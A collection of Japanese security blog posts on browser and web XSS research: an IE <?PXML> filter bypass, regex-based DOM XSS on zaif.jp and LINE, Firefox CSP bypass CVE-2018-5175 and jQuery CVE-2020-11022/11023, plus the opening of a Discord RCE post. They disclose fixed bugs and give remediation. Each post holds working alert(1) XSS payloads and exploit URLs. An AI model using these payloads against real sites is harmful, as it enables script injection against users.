さて、このページを印刷プレビューしてみましょう。プレビューしたら、プレビューした状態をそのままに、%Temp%\Low を開いて、プレビューされたときに生成されるHTMLを確認します。こんなかんじの.htmファイルが発見できるはずです:



2つありますが、片方はトップのフレーム、もう一方はフレームの中のHTMLでしょう。フレームの中のHTMLの方をみてみましょう。

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><?PXML />
<HTML:HTML
__IE_DisplayURL="https://l0.cm/bypass/ie_pxml_printpreview.xml"><HTML:HEAD><HTML:META
content="IE=5.0000" http-equiv="X-UA-Compatible">
<HTML:META content="text/html; charset=unicode" http-equiv=Content-Type>
<HTML:BASE HREF="https://l0.cm/bypass/ie_pxml_printpreview.xml">
<HTML:STYLE> HTML { font-family : "Times New Roman" } </HTML:STYLE></HTML:HEAD>
<HTML:BODY>
<HTML:TABLE width=400>
  <HTML:P style="FONT: 13pt/15pt verdana">XML ページを表示できません
  <HTML:P style="FONT: 8pt/11pt verdana">スタイルシートを使用した XML
  入力は表示できません。エラーを訂正してください。 <HTML:A href="javascript:location.reload()"
  target=_self>[更新]</HTML:A> ボタンをクリックするか、または後でやり直してください。
  <HTML:HR>
  <HTML:P style="FONT: bold 8pt/11pt verdana">ドキュメントの最上位では無効です。リソース
  'https://l0.cm/bypass/ie_pxml_printpreview.xml'の実行エラーです。ライン 1、位置 1 </HTML:P><HTML:PRE style="FONT-SIZE: 10pt; FONT-VARIANT: normal; FONT-WEIGHT: normal; FONT-STYLE: normal; LINE-HEIGHT: 12pt"><HTML:FONT color=blue>AAAAA
^</HTML:FONT></HTML:PRE></HTML:P>
  <HTML:TBODY></HTML:TBODY></HTML:TABLE></HTML:BODY></HTML:HTML>
出た!!何なんでしょう?PXMLのP = Preview のPとかなんでしょうか?
<?PXML>のほかに、HTML:というプレフィックスがついたタグも確認でき、PXMLがあると、HTML:というプレフィックスがついたタグをHTMLタグとして認識させる効果があるようにみえます。

このタグをIEで普通に利用できるか確認してみます。次のように、html:というプレフィックスがついたHTMLタグが利用できるかみてみましょう。

https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E
<?PXML><html:h1>Hello PXML!</html:h1>
動かない? ドキュメントモードを下げてみましょう。

https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E&xuac=9



今度こそh1タグが有効になりましたね!どうやらこのタグはIE9以下のドキュメントモードで機能するようです。

このタグはページの先頭以外でも使うことができるようです。ただし、どうやら、<?PXML>よりも前に<が3つ以上出現した段階で機能しなくなるという制約があるようです。

以下のように、<が2つ出現した段階ではまだ動きます。
https://vulnerabledoma.in/bypass/text?q=%3C%3C%20%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E&xuac=9
<< <?PXML><html:h1>Hello PXML!</html:h1>
しかし、<が3つ出現すると動作しなくなります。
https://vulnerabledoma.in/bypass/text?q=%3C%3C%3C%20%3C?PXML%3E%3Chtml:h1%3EHello%20PXML!%3C/html:h1%3E&xuac=9
<<< <?PXML><html:h1>Hello PXML!</html:h1>
不思議な動作ですね…。ここまでがこのタグに関してわかっていることです。

わからないことだらけですが、とにかく、これをXSSフィルターのバイパスに利用してみましょう。方法は簡単で、<?PXML>を書いて、あとはhtml:プレフィックスのついたスクリプトタグを書くだけです。

https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:script%3Ealert(1)%3C/html:script%3E&xuac=9
<?PXML><html:script>alert(1)</html:script>
プレフィックスのおかげで、<sc{r}ipt.*?>という遮断条件をバイパスできます。

このバイパスを利用できる場合の条件をまとめると以下のようになります。
  1. 単純な反射型XSSがある
  2. 注入点までに3つ以上の<がでてこない
  3. そのページのドキュメントモードが9以下に設定されているか、フレームに埋め込むなどで低いドキュメントモードを設定できる
条件は厳しいですが、完全な先頭でなくてもいいという点で、先頭必須のバイパスよりも優れています。

以上、IEの知られざるHTMLタグとそれを使ったバイパスについて紹介しました。
<?PXML>の詳細について知っている人がいたらぜひコメントやTwitter等で教えてください!それではまた!

ユーザ入力を使った正規表現から生じるDOM based XSS

$
0
0
お久しぶりです&あけましておめでとうございます。昨年はブログを書く時間をうまく作ることができず、あまり記事を書けませんでした。今年はできるだけ月に1回程度何か書いていきたいと思っています。今年もよろしくお願いします!

さて、ブログを書かなかった間にXSSからSQLインジェクションへ興味が移った、なんてことはありませんでしたので、今日もいつも通り大好きなXSSの話をしたいと思います!

最近、正規表現にユーザ入力を使っていることに起因するDOM based XSSに連続して遭遇しました。あまり見慣れていない注意が必要な問題だと思うので、この記事では、見つけたもの2つがどのように生じたか、また、問題を起こさないためにどうすればよいかを紹介します。

そのうちの1つはLINEのBug Bounty Programを通じて報告した問題です。
賞金と、"LINE SECURITY BUG BOUNTY"と書かれたシンプルなTシャツをもらいました。


LINEのバグの詳細は記事の後半にあります。
それでは見ていきます!

例1: zaif.jp にあったDOM based XSS


仮想通貨が盛り上がっていますね。僕は持っていないのですが、どんなものかとTwitterで話題にあがっていた取引所の zaif.jp のトップページをふと覗いたところ、以下のような興味深いコードを見つけました。(不要な部分は省略しています。)
$(".btn").on("click", function(e) {
  var url = location.href;
  var regExp = new RegExp( location.hash, "g" );
  url = url.replace( regExp, "");
  window.location.href = url;
});
このコードは、URL中の#以降の文字を削除してリダイレクトする意図で書かれているように見えます。しかしながら、削除する方法が適切でないため、任意のスクリプトを実行できてしまいます。どこに問題があるかわかりますか?

正規表現を作っている部分に注目してください:
var regExp = new RegExp( location.hash, "g" );
この書き方には問題があります。RegExpコンストラクタの第一引数には正規表現になる文字列がきます。したがって、この場合はlocation.hashが正規表現として使われることになります。このコードでも、#aaaのように、#以降に英数字のみが含まれるようなURLであれば意図通りに#以降が削除されます。しかしながら、.+など、正規表現の特殊文字が#以降に含まれていた場合に意図しない置換が起こってしまいます。

例えば、次のようなURLからアクセスされた場合を考えてみてください:

https://zaif.jp/#|.+

location.hashから正規表現が組み立てられることにより、URL文字列は次のように置換されます。
url.replace(/#|.+/g, "");
これは、「#」か「改行文字以外の文字の連続」(.+) のいずれかを空文字列に置換するという意味になります。.+はURL中のすべての文字列とマッチするので、すべての文字列が空文字列に置換されてしまいます。このように、正規表現の特殊文字をURLの#以降に指定することで、#以降の文字列以外も切り取ることができてしまいます。

一見、小さなバグのようにも思えますが、このせいで任意のスクリプトの実行まで可能です。切り取られた文字列はlocation.hrefに代入されるため、細工した正規表現を使って、javascript:スキームのURLとなる文字列を残せば、スクリプトを実行するURLへナビゲートできてしまいます。

PoCを示します。次のようなURLからアラートを実行できます:

https://zaif.jp/#javascript:alert(1)//|.+\x23

このURLからは次のような置換が行われます。
url.replace(/#javascript:alert(1)\/\/|.+\x23/g, "");
.+\x23 (\x23は # をエスケープした形) によって、先頭から#までの文字列が削除され、残されるのはjavascript:alert(1)//|.+\x23というURLだけとなり、スクリプトの実行が可能となります。

このXSSを再現できるページを用意しました。以下からスクリプトの実行を試すことができます:

https://vulnerabledoma.in/domxss_regex.html#javascript:alert(1)//|.+\x23

この問題は、2017年12月中旬に報告し、1週間程度で修正されました。現在は、正規表現を使わず、location.href.split("#")[0]で#以降の文字列を除いているようです。

例2: LINE のドメインにあったDOM based XSS


2017年4月頃にLINE Security Bug Bounty Programを通じて報告し、$500 の賞金を獲得したバグです。
以下に問題があったページを模したページを用意しました。どこにXSSがあるかわかりますか?

https://vulnerabledoma.in/domxss_regex2.html?id=123
<script id="template" type="text/template">
<img src="https://example.com/img/{{id}}.png">
</script>
<script>
function parseQuery() {
  var res = {};
  var tmp;
  var items = location.search.substr(1).split('&');
  for (var i = 0; i < items.length; i++) {
    tmp = items[i].split('=');
    if (tmp[0]) {
      res[tmp[0]] = decodeURIComponent(tmp[1]);
    }
  }
  return res;
}
function renderHTML(data) {
  var current = document.getElementById('template');
  var template = current ? current.innerHTML : '';
  for (key in data) {
    var re = new RegExp('{{' + key + '}}', 'gm');
    var safe = escapeHTML(data[key]);
    template = template.replace(re, safe);
  }
  document.body.innerHTML = template;
}
function escapeHTML(src) {
  var res = src;
  var escapeMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '`': '&#x60;'
  }
  for (key in escapeMap) {
    var re = new RegExp(key, 'gm');
    res = res.replace(re, escapeMap[key]);
  }
  return res;
}
var params = parseQuery();
if (params.id) {
  renderHTML(params);
}
</script>
まず、parseQuery()でクエリの名前と値のペアのオブジェクトを作成しています。クエリはページ上部にあるtype="text/template"なscriptタグにあるHTMLのテンプレートのプレースホルダ(この例では{{id}})を置換するために使われます。
置換処理部分を以下に抜粋します:
for (key in data) {
  var re = new RegExp('{{' + key + '}}', 'gm');
  var safe = escapeHTML(data[key]);
  template = template.replace(re, safe);
}
data変数はparseQuery()で作成したクエリのオブジェクトです。ここでは、クエリと同名のプレースホルダがテンプレートに存在するかどうかにかかわらず、for...in文ですべてのクエリをプレースホルダとして置換しようとしています。今回は、ユーザ入力から正規表現を組み立てているだけでなく(new RegExp('{{' + key + '}}', 'gm')部分)、置換後の文字列もユーザ入力で指定できています(escapeHTML(data[key])部分)。例えば、id=123というクエリがあるとき、次のような置換処理が行われることになります。黄色部分がユーザ入力から設定されたものです:
template.replace(/{{id}}/gm, '123');
置換後の文字列を指定できるのなら、シンプルにクエリにHTMLタグを与えることでXSSできるのではと考えるところですが、置換後の文字列はescapeHTML関数によってエスケープされるため、次のようなURLからアクセスしてもXSSは発生しません:

https://vulnerabledoma.in/domxss_regex2.html?id="><s>aaa

どんな文字列を与えたらXSSが成立するでしょう?今回も、正規表現を細工することでXSSを起こします。加えて、今回は置換後の文字列も細工します。
PoCを先に示します。次のようなURLにアクセスするとスクリプトを実行できます:

https://vulnerabledoma.in/domxss_regex2.html?id=123&|(.)h|=$1a$1onerror%3Dalert(1)//

なぜスクリプトを実行できたか見ていきます。
置換前のテンプレート文字列は次のようになっています。
<img src="https://example.com/img/{{id}}.png">
まず、クエリのid=123により、{{id}}の部分が123に置換されます。
あとに続く|(.)h|=$1a$1onerror%3Dalert(1)//というクエリからも置換が行われます。実行される置換処理は次のようになります:
template.replace(/{{|(.)h|}}/gm, '$1a$1onerror=alert(1)//');

このコードはテンプレート中にある「{{」または 「任意の1文字 + h」((.)h) または「}}」を、指定した文字列に置換しようとします。このうち、「任意の1文字 + h」はテンプレート中の以下の黄色部分で発見できます:
<img src="https://example.com/img/123.png">
この部分が、$1a$1onerror=alert(1)//で置換されます。$1()でくくった部分にマッチした文字列を配置するという意味で、ここでは"が取り出されます。
したがって、テンプレート文字列は次のように置換されます:
<img src="a"onerror=alert(1)//ttps://example.com/img/123.png">
見ての通り、imgタグにonerrorイベントハンドラが追加できてしまっています。この文字列がdocument.body.innerHTML = template;でページに書き出されることによって、任意のスクリプトの実行が達成されたという訳です。

修正後は、ユーザ入力から正規表現を組み立てるのではなく、以下のようにテンプレートに埋め込まれたプレースホルダを検索することによって置換を行うようになったようです。
template = template.replace(/{{(\w+)}}/gm, function($0,$1) {
  return escapeHTML(data[$1]);
});

このような問題を防ぐには


どちらの問題も、ユーザ入力から"正規表現を組み立てていること"を失念しており、単に検索用の"文字列として"使われることを期待したことが原因で発生したように思います。いずれの修正も正規表現を組み立てない方法で書き直すことができているように、たいていの場合、ユーザ入力から正規表現を組み立てる必要はないはずです。
new RegExp(USER_INPUT,"")のようなコードを書いてしまったら、それは本当にやりたいことなのか、一度考え直してみるとよいかと思います。ユーザに正規表現を使わせたいとき以外、まず適切な書き方ではありません。

以上、正規表現にユーザ入力を使っていることに起因するDOM based XSSの例を2つ紹介しました。
このような問題を避ける助けとなれば嬉しいです。

CVE-2018-5175: FirefoxでCSPのstrict-dynamicバイパス

$
0
0
English version is here: https://mksben.l0.cm/2018/05/cve-2018-5175-firefox-csp-strict-dynamic-bypass.html


Firefox 60で修正されたContent Security Policy(CSP)のstrict-dynamicをバイパスできた脆弱性について書きます。

https://www.mozilla.org/en-US/security/advisories/mfsa2018-11/#CVE-2018-5175
A mechanism to bypass Content Security Policy (CSP) protections on sites that have a script-src policy of 'strict-dynamic'. If a target website contains an HTML injection flaw an attacker could inject a reference to a copy of the require.js library that is part of Firefox’s Developer Tools, and then use a known technique using that library to bypass the CSP restrictions on executing injected scripts.

strict-dynamicとは


まず簡単にCSPについておさらいしながら、strict-dynamicが誕生した背景を少し書いておきます。
従来のCSPは、ドメインをホワイトリストする形でリソースのロードを制限します。
例えば、次のCSP設定は、自分自身のオリジンと trusted.example.com からのみ、JavaScriptのロードを許可します。
Content-Security-Policy: script-src 'self' trusted.example.com
これで、 XSSがあった場合にも、evil.example.org からスクリプトをロードされたり、インラインのスクリプトを実行されることはなくなります。十分安全に思えますが、trusted.example.com にCSPのバイパスに都合の良いスクリプトが置かれている場合などに、まだ悪意あるスクリプトを実行される可能性が残っています。具体的には、trusted.example.com に JSONP がある場合などです。
以下は、このCSP設定の下で、完全にロードが許可されるスクリプトです。
<script src="//trusted.example.com/jsonp?callback=alert(1)//"></script>
このAPIがcallbackパラメータに渡された入力をcallback関数部分に直接反映するものであれば、以下のように、任意のスクリプトとして利用できてしまいます。
alert(1)//({});
その他にも、AngularJSがロードできるとバイパスが起こることが知られています。特に、CDNなどの、多くのJavaScriptをホストしているドメインを許可した場合には、この可能性がより現実的になります。

このように、ホワイトリストでは、CSPを安全に運用することが難しい場合があります。そこで考えられたのがstrict-dynamicです。このオプションを次のように設定したとします。
Content-Security-Policy: script-src 'nonce-secret''strict-dynamic'
すると、ホワイトリストは無効化され、nonce属性がsecretという値を含んだスクリプトのみがロードされるようになります。
<!-- これはロードされる -->
<script src="//example.com/assets/A.js" nonce="secret"></script>

<!-- これはロードされない -->
<script src="//example.com/assets/B.js"></script>
このとき、A.jsがさらに別のJavaScriptをロードして使いたい場合も考えられます。こういった場合、特定の条件でロードされれば、nonceをつけなくてもロードが許可されるようになっています。仕様で書かれている言葉を使うと、non-"parser-inserted"なスクリプト要素は、スクリプトを使ってロードすることが許可されます。
どのようなものが許可されるか、以下に具体例を示します。
/* A.jsのコード */

//これはロードされる
var script=document.createElement('script');
script.src='//example.org/dependency.js';
document.body.appendChild(script);

//これはロードされない
document.write("<scr"+"ipt src='//example.org/dependency.js'></scr"+"ipt>");
createElement()などを使ってロードする場合が、non-"parser-inserted"なスクリプト要素になります。一方で、document.write()などを使って書き出す場合は、parser-inserted なスクリプト要素となり許可されません。

ここまで、strict-dynamicの動作をおおまかに説明しました。

より詳しくは仕様を参照してください。

さて、strict-dynamicを使えば、全くバイパス不可能かというとそうでもありません。
次に、strict-dynamicの既知のバイパス手法について紹介します。

既知のstrict-dynamicバイパス


ターゲットのページで特定のライブラリが使われている場合に、strict-dynamicもバイパス可能であることが知られています。

GoogleのSebastian Lekies氏、Eduardo Vela Nava氏、Krzysztof Kotowicz氏によって、影響を受けるライブラリがまとめられています。strict-dynamicのバイパスだけではなく、ライブラリから生じるその他のCSPのバイパスもまとめられています。

この中の、require.js のstrict-dynamicのバイパスをみてみましょう。
ターゲットのページが、strict-dynamicを設定したCSPを持ち、require.jsをロードしており、シンプルなXSSを持っているとします。このとき、次のようなスクリプト要素が挿入されると、nonceを知らなくても、任意のスクリプトを実行できてしまいます。
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-secret''strict-dynamic'">
<!-- XSS START -->
<script data-main="data:,alert(1)"></script>
<!-- XSS END -->
<script nonce="secret" src="require.js"></script>
require.jsは、data-main属性を持ったscript要素をみつけると、以下と同等のコードから、新たなスクリプトをロードするようになっています。
var node = document.createElement('script');
node.src = 'data:,alert(1)';
document.head.appendChild(node);
前述したように、 strict-dynamicが設定されているページにおいて、createElement()からスクリプトをロードする場合は、nonceがなくてもロードが許可されます。このように、既にロードされているJavaScriptのコードの動作を使って、場合によってはstrict-dynamicもバイパスできます。

今回のFirefoxの脆弱性は、このrequire.jsの動作のおかげで発生していました。
本題のFirefoxの脆弱性について解説していきます。

Firefoxでstrict-dynamicバイパス(CVE-2018-5175)


Firefoxは、一部のブラウザの機能をレガシーな拡張機能を使って実装しています。レガシーな拡張機能とは、WebExtensionsではなく、FirefoxがFirefox 57でサポートを廃止したXUL/XPCOMベースの拡張機能のことです。現在最新のFirefox 60でも、ブラウザ内部ではまだこの仕組みを使っている部分があります。

このバイパスでは、ブラウザ内部で使われている、レガシーな拡張機能のリソースを使います。WebExtensionsでは、マニフェストの web_accessible_resourcesで指定した拡張機能のリソースは、ウェブページからロードできるようになっています。これと同じように、レガシーな拡張機能のマニフェストにも、contentaccessible というオプションがあり、ウェブページから拡張機能のリソースのロードを許可できます。今回のバイパスでは、ブラウザ内部のリソースであるrequire.jsが、このオプションを使って、ウェブアクセシブルな状態で公開されていたことで、バイパスに利用できてしまっていました。

マニフェストを見てみましょう。Windowsの64bitのFirefoxであれば、次のURLをFirefoxで開くことでマニフェストの内容を確認できます。

jar:file:///C:/Program%20Files%20(x86)/Mozilla%20Firefox/browser/omni.ja!/chrome/chrome.manifest
content branding browser/content/branding/ contentaccessible=yes
content browser browser/content/browser/ contentaccessible=yes
skin browser classic/1.0 browser/skin/classic/browser/
skin communicator classic/1.0 browser/skin/classic/communicator/
content webide webide/content/
skin webide classic/1.0 webide/skin/
content devtools-shim devtools-shim/content/
content devtools devtools/content/
skin devtools classic/1.0 devtools/skin/
locale branding ja ja/locale/branding/
locale browser ja ja/locale/browser/
locale browser-region ja ja/locale/browser-region/
locale devtools ja ja/locale/ja/devtools/client/
locale devtools-shared ja ja/locale/ja/devtools/shared/
locale devtools-shim ja ja/locale/ja/devtools/shim/
locale pdf.js ja ja/locale/pdfviewer/
overlay chrome://browser/content/browser.xul chrome://browser/content/report-phishing-overlay.xul
overlay chrome://browser/content/places/places.xul chrome://browser/content/places/downloadsViewOverlay.xul
overlay chrome://global/content/viewPartialSource.xul chrome://browser/content/viewSourceOverlay.xul
overlay chrome://global/content/viewSource.xul chrome://browser/content/viewSourceOverlay.xul
override chrome://global/content/license.html chrome://browser/content/license.html
override chrome://global/content/netError.xhtml chrome://browser/content/aboutNetError.xhtml
override chrome://global/locale/appstrings.properties chrome://browser/locale/appstrings.properties
override chrome://global/locale/netError.dtd chrome://browser/locale/netError.dtd
override chrome://mozapps/locale/downloads/settingsChange.dtd chrome://browser/locale/downloads/settingsChange.dtd
resource search-plugins chrome://browser/locale/searchplugins/
resource usercontext-content browser/content/ contentaccessible=yes
resource pdf.js pdfjs/content/
resource devtools devtools/modules/devtools/
resource devtools-client-jsonview resource://devtools/client/jsonview/ contentaccessible=yes

resource devtools-client-shared resource://devtools/client/shared/ contentaccessible=yes
黄色い箇所が、問題のファイルを公開に設定している部分です。この2行は、resource: URIを作成するためにあります。最初のresource devtools devtools/modules/devtools/の行は、resource://devtools/ というURL に devtools/modules/devtools/ のディレクトリ( jar:file:///C:/Program%20Files%20(x86)/Mozilla%20Firefox/browser/omni.ja!/chrome/devtools/modules/devtools/ にあるディレクトリ )をマッピングするという意味になります。これで、Firefoxから resource://devtools/ を開くことで、ディレクトリ以下のファイルへアクセスできるようになります。次の行も同様に、resource://devtools-client-jsonview/ へのマッピングを行っています。このURLが、contentaccessible=yesと設定されており、このディレクトリ以下に置かれたファイルを任意のページからロードできるようにしています。このディレクトリに問題のrequire.jsがあります。

require.jsを発見したら、あとはstrict-dynamicが設定されたページからロードするだけです。実際のバイパスは次のようになります。

https://vulnerabledoma.in/fx_csp_bypass_strict-dynamic.html
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-secret''strict-dynamic'">
<!-- XSS START -->
<script data-main="data:,alert(1)"></script>
<script  src="resource://devtools-client-jsonview/lib/require.js"></script>
<!-- XSS END -->

これで、data: URLがロードされ、アラートが実行されます。
あれ、strict-dynamicはnonceが必要だから、そもそもrequire.js自体ロードされないんじゃないか?と思うかもしれません。実は、どんなに厳しくCSPを設定しても、拡張機能のウェブアクセシブルなリソースはCSPを無視してロードされます。この動作はCSPの仕様でも触れられており、CSPは拡張機能やブックマークレットの機能を妨害すべきでないと明記されています。

Policy enforced on a resource SHOULD NOT interfere with the operation of user-agent features like addons, extensions, or bookmarklets. These kinds of features generally advance the user’s priority over page authors, as espoused in [HTML-DESIGN].
Firefoxのresource: URIにもこの規則が適用されていました。このおかげで、利用者は、CSPが設定されているページでも、期待通りに拡張機能を動作させることができますが、一方で、今回のように、この特権をCSPのバイパスに利用される可能性も作ってしまっています。もちろん、この問題が起きるのはブラウザのリソースに限ったことではありません。一般の拡張機能でも、ウェブアクセシブルに設定されたリソースにバイパスに利用できるものがあれば、同じことが起きます。
今回は、ブラウザの内部リソースに問題のファイルがあったため、特定の拡張機能がインストールされているかどうかにかかわらず、デフォルトで全てのFirefoxでバイパスへの利用を許してしまっていました。修正後は、resource: URIにもCSPを適用するようになったようです。

終わりに


Firefoxの、CSPのstrict-dynamicをバイパスできた脆弱性について書きました。

ちなみにこの問題は、今年Cure53で出題したXSS Challengeの、Cure53 CNY Challenge 2018 の別解がないか探していた時に発見しました。こちらもstrict-dynamicをバイパスするチャレンジになっているので、興味がある方はご覧ください。
また、この別バージョンのXSS Challengeも現在出題中なので、ぜひトライしてみてください。

最後に、このバイパスに気付かせてくれたGoogleの研究に感謝します。

CVE-2020-11022/CVE-2020-11023: jQuery 3.5.0で修正されたSecurity Fixの詳細

$
0
0
English version is here: https://mksben.l0.cm/2020/05/jquery3.5.0-xss.html


先月、jQuery 3.5.0がリリースされました。
このバージョンでは、僕が報告した問題がSecurity Fixとして含まれています。

jQuery 3.5.0 Released! | Official jQuery Blog
https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/

報告したバグは、CVE-2020-11022、 CVE-2020-11023 として採番されています。

https://github.com/advisories/GHSA-gxr4-xjj5-5px2
https://github.com/advisories/GHSA-jpcq-cgw6-v4j6

少し遅くなりましたが、この記事では、この問題がどんなものであったかを紹介します。

問題の概要


この問題の影響を受けるのは、次のようなアプリケーションです。

  • ユーザに、XSSが起きない範囲で、好きなHTMLを使用させる機能がある
  • そのHTMLをjQueryで動的にページへ追加している

このような機能を持つアプリケーションを、シンプルなコードで表してみます。
<div id="div"></div>
<script>
//サーバ側でサニタイズされた安全なHTML
sanitizedHTML = '<p title="foo">bar</p>';
//divにHTMLを追加
$('#div').html(sanitizedHTML);
</script>
この状況では、通常、適切にサニタイズが行われているのであれば、ただ安全なHTMLを追加しているだけなので、XSSが発生することはないように思えます。しかし、実際には、.html()は内部で特別な文字列処理を行っており、この処理のせいでXSSが発生する場合がありました。これが今回の問題です。

XSSが起きる例


いくつかバリエーションがあるのですが、3つ例を示します。
次の3つはいずれも本来スクリプトが実行されないHTMLです。
例1.
<style><style /><img src=x onerror=alert(1)> 
例2. (jQuery 3.x以降のみ影響)
<img alt="<x" title="/><img src=x onerror=alert(1)>">
例3.
<option><style></option></select><img src=x onerror=alert(1)></style>
onerrorを持ったimgタグがあるように見えるかもしれませんが、よく見ると、属性内にあったり、style要素の内側に置かれていて、それらは実際には実行されないものです。これらがサニタイズ済みの安全なHTMLとして生成されたとしても、なんら不自然ではありません。

しかしながら、いずれも、.html()を通して追加されると、本来は実行されないスクリプトが実行されてしまいます。

それぞれの例を以下で実際に実行できます。
https://vulnerabledoma.in/jquery_htmlPrefilter_xss.html

なぜ実行されたのか詳しくみていきます。

CVE-2020-11023: 問題の原因(例1と2)


例の1と2は同じ原因で発生します。.html()の内部では、引数のHTML文字列が $.htmlPrefilter() というメソッドに渡されます。htmlPrefilterでは、<tagname />のようなself-closingタグを、次の正規表現を使った置換によって、<tagname ></tagname>のような形に戻す処理を行います。

rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi
[...]
htmlPrefilter: function( html ) {
  return html.replace( rxhtmlTag, "<$1></$2>" );
この置換処理に例1のHTMLを通した時の出力は以下になります。
> $.htmlPrefilter('<style><style /><img src=x onerror=alert(1)>')
< "<style><style ></style><img src=x onerror=alert(1)>"
黄色部分が置換された箇所です。この置換により、style要素の内側にあった<style /><style ></style>となり、それ以降の文字がstyle要素の外にはみ出てしまいました。.html()はこの後、置換後の文字列をinnerHTMLへ代入します。そこで、本来style要素の内側にあった<img ...>がタグとして現れ、onerrorが発火してしまいます。これが例1が発火するメカニズムです。

なお、上記の正規表現はjQuery3.x以前に使われていたもので、3.x以降は以下のように少し変更されています。

https://github.com/jquery/jquery/commit/fb9472c7fbf9979f48ef49aff76903ac130d0959#diff-169760a97de5c86a886842060321d2c8L30-R30
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi

この変更によって、より簡単な要素・属性で、XSSを引き起こすことが可能になりました。
例2はこの変更によって生まれた新たなベクターです。jQuery3.x以降でのみ動作します。
> $.htmlPrefilter('<img alt="<x" title="/><img src=x onerror=alert(1)>">')
< "<img alt="<x" title="></x"><img src=x onerror=alert(1)>">"
こちらは属性内にある文字列がはみ出してXSSが発生しています。

これが例1と2の原因でした。

jQuery側の修正(例1と2)


$.htmlPrefilter()を、渡された文字列をそのまま返す関数に変更することで対処されました。

https://github.com/jquery/jquery/commit/90fed4b453a5becdb7f173d9e3c1492390a1441f#diff-169760a97de5c86a886842060321d2c8L201-R198

しかし、これで全ての問題が解決したわけではありませんでした。.html()内部ではさらに別の文字列処理が行われており、それが原因で例3が発生します。

CVE-2020-11022: 問題の原因(例3)


.html()内部では、引数に渡されたHTMLの先頭に出てくるタグが特定のタグであった場合、他のタグで一度ラップしてから処理を行おうとします。これは、ラップされている状態でないと、処理途中で勝手に消されてしまうような要素がブラウザの仕様やバグのために存在するからです。

option要素はそのような要素の1つです。IE9限定ではありますが、IE9のバグによってselect要素がないと消されてしまいます。jQueryはこれに対処するために、例えば、<option>aaa</option>のような、最初に出てくる要素がoption要素のHTML文字列が渡されると、<select multiple='multiple'></select>で全体をラップして処理を行おうとします。

ラップを行うタグは以下のファイルで定義されています。
https://github.com/jquery/jquery/blob/3.4.1/src/manipulation/wrapMap.js#L9

実際のラップは以下で行われます。
https://github.com/jquery/jquery/blob/d0ce00cdfa680f1f0c38460bc51ea14079ae8b07/src/manipulation/buildFragment.js#L39

例3は、このラップの処理が原因で発生していました。
例3のHTMLがラップ処理を通ると、次のHTMLが組み立てられます。
<select multiple='multiple'><option><style></option></select><img src=x onerror=alert(1)></style></select>
これがjQueryの内部のコード中でinnerHTMLへ代入されるとき、スクリプトが実行されます。

スクリプトが実行される理由はselect要素のパース方法にあります。select要素の内側では、option、optgroup、script、template要素以外のHTMLタグは置くことができません。この仕様によって、ここに書かれた<style>は無視され、<style>の内側にあった</select>が閉じタグとして作用し、select要素がそこで終了します。後続の<img ...><style>からはみ出た結果、onerrorが発火します。これが例3の原因でした。

jQuery側の修正(例3)


このラップ処理をIE9だけに適用することで対処されました。

https://github.com/jquery/jquery/commit/966a70909019aa09632c87c0002c522fa4a1e30e#diff-51ec14165275b403bb33f28ce761cdedR25

そうすると、IE9は脆弱なままに思えますが、実際には問題ありません。というのも、詳しくは触れませんが、IE9は他のブラウザとは異なる奇妙な規則でselect要素の内側に置かれた<style>のパースを行うため、この問題の影響を受けないからです。

ちなみに、これらの問題は、.html()だけではなく、.append()$('<tag>')のような、HTMLを生成/追加する際に$.htmlPrefilter()やラップ処理を通すその他のAPIでも発生します。

更新しましょう


サニタイズしたHTMLをjQueryで追加している覚えのある人は3.5.0以降へのアップデートを推奨します。
アップデートが何らかの理由で難しい場合は、DOMPurifyを使ってサニタイズを行うことをお勧めします。DOMPurifyは、SAFE_FOR_JQUERYという、このバグを考慮したサニタイズを行うオプションがあるためです。例えば、次のように使います。
<div id="div"></div>
<script>
unsafeHtml = '<img alt="<x" title="/><img src=x onerror=alert(1)>">';
var sanitizedHtml = DOMPurify.sanitize( unsafeHtml, { SAFE_FOR_JQUERY: true } );
$('#div').html( sanitizedHtml );
</script>
なお、DOMPurifyでは最近バイパスが見つかっています。既にDOMPurifyをSAFE_FOR_JQUERYと共に使っている人は、バイパスに対処した2.0.8以降にアップデートしていることを確認してください。

おわりに


この問題を調査したきっかけは、@PwnFunctionさんによる以下のXSSチャレンジでした。
https://xss.pwnfunction.com/challenges/ww3/

実はこのバグの一部は以前から既知で、このチャレンジではそれが想定解となっていました。(実際、DOMPurifyでは、2014年には既にSAFE_FOR_JQUERYオプションが導入されており、相当前から知られていた問題であることがわかります。)

今回、このチャレンジをきっかけに改めてjQueryのソースを読んでみました。その過程で、今まで言及されていなかった「例2」のベクターを発見しました。このケースは、かなりベーシックなHTML要素・属性だけで攻撃が可能で、多くの開発者が知らずに脆弱性を作りこんでいるのではないかと考え、実際に調べてみると、すぐにXSSが可能なアプリが見つかりました。影響を受けるアプリの開発元に報告をすると同時に、本来はjQueryが修正すべき問題だという思いを持ち、今回報告に至りました。jQueryのメンテナの方々は、破壊的な変更をしなければならなかったにもかかわらず、迅速に問題に対処してくれました。素早い対応に感謝します。また、この問題を調査するきっかけをくれたXSSチャレンジ作成者の@PwnFunctionさんにも感謝します。

以上、jQuery 3.5.0で修正された脆弱性について説明しました。この記事がjQueryを使ったアプリをセキュアにする助けとなれば嬉しいです。

DiscordデスクトップアプリのRCE

$
0
0

数か月前、ゲームのコミュニティなどで人気のチャットアプリ「Discord」のデスクトップ用アプリケーションに任意のコードを実行可能な問題を発見し、Bug Bounty Programを通じて報告しました。発見したRCEは、複数のバグを組み合わせることによって達成される面白いものだったので、この記事では、その詳細を共有したいと思います。なお、現在脆弱性は修正されています。

調査のきっかけ

